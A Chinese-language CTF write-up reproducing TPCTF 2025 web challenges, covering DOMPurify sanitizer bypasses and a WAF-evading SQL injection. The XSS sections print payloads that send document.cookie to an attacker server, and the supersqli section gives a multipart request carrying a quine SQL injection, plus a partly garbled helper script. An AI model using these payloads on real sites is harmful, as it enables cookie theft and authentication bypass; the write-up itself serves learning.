TPCTF 2025 web 復現

文章目錄

  • baby layout
  • safe layout
  • Safe Layout Revenge
    • supersqli

baby layout

在index.js文件中,看到了有使用DOMPurify庫來防止XSS操作在這里插入圖片描述
在package.json里可以看到版本是3.2.4,關于3.2.3是有繞過策略的。它會把script標簽清除掉,去看bot可以看到flag是放到cookie里的

  await context.setCookie({name: 'FLAG',value: FLAG,domain: APP_HOST,httpOnly: false,sameSite: 'Strict',});

httponly被設置為false,所以是可以用js腳本獲取的,打xss,最好用的一般就是image標簽

<img src=a onerror=alert(1)>

在這里插入圖片描述
create new layout發現可行,接著create new post發現成功被解析成圖標。layout是布局模板,需要包含占位符{{content}},post的內容過濾之后會渲染到模板里。那么到這里我們需要做一件事情,就是把完整的內容傳進最終的body里我們如果全傳到layout或者全傳到post傳不進去,但如果分開傳呢?這就有了一個天才的想法

layout:<img src=a {{content}}>
接下來在post里發我們要的執行代碼
οnerrοr=alert(1)
在這里插入圖片描述

接下來要做的事情就更簡單了,想辦法把引號閉合了即可

"οnerrοr=alert(1)//
在這里插入圖片描述

說明代碼成功執行,接下來用fetch函數拿Cookie發到自己服務器即可

"onerror=fetch(`http://[ip]:2333/`+document.cookie)>//

最后記得讓bot訪問構造好的頁面

safe layout

先看看這道題比上一道題多了什么在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

html標簽的屬性被過濾了,但是data-* 和 aria-* 類的屬性不會被過濾
在這里插入圖片描述
在這里插入圖片描述
發現web里有兩個ejs文件,打開看一下是渲染頁面用的,沒什么信息
在這里插入圖片描述

探索DOMPurify庫
在這里插入圖片描述
在這里插入圖片描述
同時onload也是默認可用的

<svg data-type=“{{content}}”></svg>
test" οnlοad=location.href=“http://ip:3389?flag=”+document.cookie src="

復現環境沒有bot,試著可以彈窗就說明成功了

<meta http-equiv="refresh" content="0; url=http://47.108.229.212:3389?bot_was_here">

Safe Layout Revenge

越來越有意思了,data和aria也被禁了

const sanitizedContent = DOMPurify.sanitize(content, {ALLOWED_ATTR: [],ALLOW_ARIA_ATTR: false,ALLOW_DATA_ATTR: false,});

其實在上一篇文章里有繞過策略,整體思路是采用 style 繞過,測試發現當 style 標簽前面跟上一些字符時,style 內部的元素可能會得以保留,故這里采用的是刪除策略,把 xss 的 payload 構造好后,把 script 標簽插入 content,在第二次 post 的時候刪除就行
在這里插入圖片描述

{ "layout": "s<style><{{content}}/style><{{content}}img src=a onerror=alert()></style>" }{ "content": "" }

彈窗成功后接下來用fetch帶出信息

supersqli

進來看到很多python文件,逐個看看
在這里插入圖片描述
在views.py中看到拿到flag的邏輯,要求傳入username和password,根據傳入的數據去查詢,如果查詢到的密碼跟自己設置的密碼一樣,那就給出flag

def flag(request:HttpRequest):if request.method != 'POST':return HttpResponse('Welcome to TPCTF 2025')username = request.POST.get('username')if username != 'admin':return HttpResponse('you are not admin.')password = request.POST.get('password')users:AdminUser = AdminUser.objects.raw("SELECT * FROM blog_adminuser WHERE username='%s' and password ='%s'" % (username,password))try:assert password == users[0].passwordreturn HttpResponse(os.environ.get('FLAG'))except:return HttpResponse('wrong password')

在urls.py中看到應該是要去/flag提交數據


urlpatterns = [path("flag/", views.flag, name="flag"),path("", views.index, name="index"),
]

去到waf里看看過濾

var sqlInjectionPattern = regexp.MustCompile(`(?i)(union.*select|select.*from|insert.*into|update.*set|delete.*from|drop\s+table|--|#|\*\/|\/\*)`)var rcePattern = regexp.MustCompile(`(?i)(\b(?:os|exec|system|eval|passthru|shell_exec|phpinfo|popen|proc_open|pcntl_exec|assert)\s*\(.+\))`)var hotfixPattern = regexp.MustCompile(`(?i)(select)`)

從單純語句繞過顯然是繞不過去了,去看下面這篇文章
bypass
form-data最初誕生于文件上傳,但是也可以用來傳遞參數,那么我們就可以利用這一特性,讓后端檢測以為我們是在上傳文件,實則是傳遞參數構造攻擊語句(適用于一些劣質waf)
至于密碼相等這一環節,則使用quine攻擊
sql注入新特性

POST /flag HTTP/1.1
Host: 127.0.0.1:70
Cache-Control: max-age=0
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: multipart/form-data; boundary=a
Content-Length: 518--a
Content-Disposition: form-data; name="username";filename="pic.png"
Content-Disposition: form-data; name="username"admin
--a
Content-Disposition: form-data; name="password";filename="pic.png"
Content-Disposition: form-data; name="password"' union SELECT 1,2,REPLACE(REPLACE('" union SELECT 1,2,REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".") AS weljoni--',CHAR(34),CHAR(39)),CHAR(46),'" union SELECT 1,2,REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".") AS weljoni--') AS weljoni--
--a--

可惜本地復現時顯示301,可能給出的源碼里有點問題

def quine(data, debug=True):if debug: print datadata = data.replace('$$',"REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR(36),$$)")blob = data.replace('$$','"$"').replace("'",'"')data = data.replace('$$',"'"+blob+"'")if debug: print datareturn data
data = quine("' UNION SELECT $$ AS id,MD5(CHAR(122)) AS pw-- ")
data = quine("' UNION SELECT MD5($$)#)

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/898735.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/898735.shtml
英文地址,請注明出處:http://en.pswp.cn/news/898735.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Agent Team 多智能體系統解析

引言 在人工智能技術高速發展的今天&#xff0c;"多智能體協作系統"&#xff08;Agent Team&#xff09;正成為突破效率瓶頸的關鍵技術。與傳統的單體AI不同&#xff0c;這種由多個專業化智能體組成的協同網絡&#xff0c;通過分工協作和動態調整&#xff0c;展現出…

【前端 vue 或者麥克風,智能語音識別和播放功能】

前端 vue 或者麥克風&#xff0c;智能語音識別和播放功能 1. 終端安裝 npm install recordrtc2.引入 import RecordRTC from recordrtc3.html&#xff08;根據自己業務更改&#xff09; <div class"Page"><el-form ref"mainFormRef" class&qu…

bootstrap 表格插件bootstrap table 的使用經驗談!

最近在開發一個物業管理軟件&#xff0c;其中用到bootstrap 的模態框。同時需要獲取表格數據。用傳統的方法&#xff0c;本人不想用&#xff0c;考慮到bootstrap應該有獲取表格數據的方法&#xff0c;結果發現要想實現獲取表格數據功能&#xff0c;需要通過bootstrap的插件實現…

HTML 圖像與多媒體元素:拓展學習邊界的進度記錄(一)

開篇&#xff1a;學習啟程 在前端開發的廣袤領域中&#xff0c;HTML 作為構建網頁的基石&#xff0c;其重要性不言而喻。而 HTML 圖像與多媒體元素&#xff0c;就像是為這座基石添上了絢麗的色彩與靈動的音符&#xff0c;賦予網頁更加豐富的表現力和交互性。作為一名熱衷于探索…

循環不變量原則——螺旋矩陣

題目&#xff1a;螺旋矩陣 本題相較于螺旋矩陣II的不同之處是&#xff1a;螺旋矩陣II的矩陣是n行n列的方陣&#xff0c;而本題的矩陣并不一定是方陣。所以在遵循循環不變量原則遍歷完矩陣后&#xff0c;還會有一行或者一列沒有遍歷。 1、行多列少&#xff08;多一列沒遍歷&am…

【前端】Visual Studio Code安裝配置教程:下載、漢化、常用組件、基本操作

文章目錄 一、Visual Studio Code下載二、漢化三、常用組件1、Auto Rename Tag2、view-in-browser3、Live Server 四、基本操作五、感謝觀看&#xff01; 一、Visual Studio Code下載 下載官網&#xff1a;https://code.visualstudio.com/ 進入官網后點擊右上角的Download &…

Java對象的hashcode

在 Java 中&#xff0c;hashcode 和 equals 方法是 Object 類的兩個重要方法&#xff0c;它們在處理對象比較和哈希集合&#xff08;如 HashMap、HashSet&#xff09;時起著關鍵作用。對于equals大部分Java程序員都不陌生&#xff0c;它通常是比較兩個對象的內容(值)是否相等(雙…

Ubuntu22.04通過DKMS包安裝Intel WiFi系列適配器(網卡驅動)

下載驅動包 訪問 backport-iwlwifi-dkmshttps://launchpad.net/ubuntu/source/backport-iwlwifi-dkms 網站&#xff0c;找到適用于Ubuntu 22.04的update版本&#xff08;如backport-iwlwifi-dkms_xxxx_all.deb&#xff09;&#xff0c;下載至本地。 安裝驅動 在下載目錄中執行以…

深度學習--概率

1 基本概率論 1.1 假設我們擲骰子&#xff0c;想知道1而不是看到另一個數字的概率&#xff0c;如果骰子是公司&#xff0c;那么所有6個結果(1..6),都有相同的可能發生&#xff0c;因此&#xff0c;我們可以說1發生的概率為1/6. 然而現實生活中&#xff0c;對于我們從工廠收到的…

kaggle上經典泰坦尼克項目數據分析探索

之前了解在kaggle上這個項目很火&#xff0c;最近想要加強一下python數據分析&#xff0c;所以在kaggle上找到這個項目進行學習探索&#xff0c;下面是將一些學習資料以及過程整理出來。 一、首先我們了解一下項目背景以及如何找到這個項目。 kaggle項目地址: https://www.k…

《深度剖析:鴻蒙系統不同終端設備的UI自適應布局策略》

在萬物互聯的時代&#xff0c;鴻蒙系統以其獨特的分布式理念和強大的技術架構&#xff0c;迅速在智能終端領域嶄露頭角。隨著鴻蒙生態的不斷壯大&#xff0c;越來越多的開發者投身其中&#xff0c;致力于為用戶打造豐富多樣的應用體驗。然而&#xff0c;如何讓應用在不同終端設…

計算機網絡的軟件、硬件和組成

&#xff11;.計算機網絡的組成 計算機網絡是一個十分復雜的系統&#xff0c;在邏輯上可以分為完成數據通信的通信子網和進行數據處理的資源子網兩個部分。 通信子網 通信子網提供網絡通信的功能&#xff0c;可以完成網絡主機之間的數據傳輸、交換、通信控制和信號變換等通信…

告別低效人工統計!自動計算計劃進度

實時監控任務進度一直是項目管理中的一項巨大挑戰。 人工統計方式不僅耗時耗力&#xff0c;而且往往由于信息傳遞的延遲和人為誤差&#xff0c;導致無法實時獲得準確的項目進展信息。 這種不準確性可能掩蓋潛在的風險點&#xff0c;從而影響項目的整體進度和成果。 Ganttable …

樓宇自控系統的結構密碼:總線與分布式結構方式的差異與應用

在現代建筑中&#xff0c;為了實現高效、智能的管理&#xff0c;樓宇自控系統變得越來越重要。它就像建筑的 智能管家&#xff0c;可自動控制照明、空調、通風等各種機電設備&#xff0c;讓建筑運行更順暢&#xff0c;還能節省能源成本。而在樓宇自控系統里&#xff0c;有兩種關…

OpenWrt開發第4篇:設置開發板的IP-基于Raspberry Pi 4B開發板

文/指尖動聽知識庫-谷谷 文章為付費內容,商業行為,禁止私自轉載及抄襲,違者必究!!! 文章專欄:Openwrt開發-基于Raspberry Pi 4B開發板 有時候開發過程中經常會使用其他路由器,很多時候固件燒上去之后板子IP基本都是192.168.1.1,這時就需要修改板子的IP,下面介紹一下板…

Node.js系列(4)--微服務架構實踐

Node.js微服務架構實踐 &#x1f504; 引言 微服務架構已成為構建大規模Node.js應用的主流選擇。本文將深入探討Node.js微服務架構的設計與實現&#xff0c;包括服務拆分、服務治理、通信機制等方面&#xff0c;幫助開發者構建可擴展的微服務系統。 微服務架構概述 Node.js…

Docker逃逸

判斷是否再docker中 1.ls -a / (查看c根目錄查看是否有docker配置文件) 2.查看進程 如果在要逃逸到真實環境中&#xff1a; 特權模式進行docker逃逸&#xff1a;管理員執行eddocker run--privileg&#xff0c;如何判斷是否是特權模式&#xff08;&#xff09; 特權模式以…

Vite管理的Vue3項目中monaco editer的使用以及組件封裝

文章目錄 背景環境說明安裝流程以及組件封裝引入依賴封裝組件 外部使用實現效果 v-model實現原理 背景 做oj系統的時候,需要使用代碼編輯器,決定使用Monaco Editor&#xff0c;但是因為自身能力問題&#xff0c;讀不懂官網文檔&#xff0c;最終結合ai和網友的帖子成功引入&…

pdf文件分頁按需查看

pdf預覽本來打算粗暴點&#xff0c;一次性查看全部&#xff0c;但是一個pdf四五百頁導致手機端查看超出內存直接崩掉&#xff0c;崩掉會導致頁面瘋狂刷新&#xff0c;所以不得不進行優化 解決思路大致如下&#xff1a; canvas轉為blob格式以圖片的形式加載在頁面&#xff08;B…

算力100問?第92問:為什么各地熱衷建設算力中心?

目錄 1、宏觀分析 2、政府角度分析 3、投資者角度分析 在數字化浪潮中,各地對算力中心建設的熱情高漲,這一現象背后潛藏著諸多深層次的原因,涵蓋了經濟、科技、社會等多個維度,且彼此交織,共同驅動著這一發展趨勢。 1、宏觀分析 從經濟結構轉型的底層邏輯來看,全球經…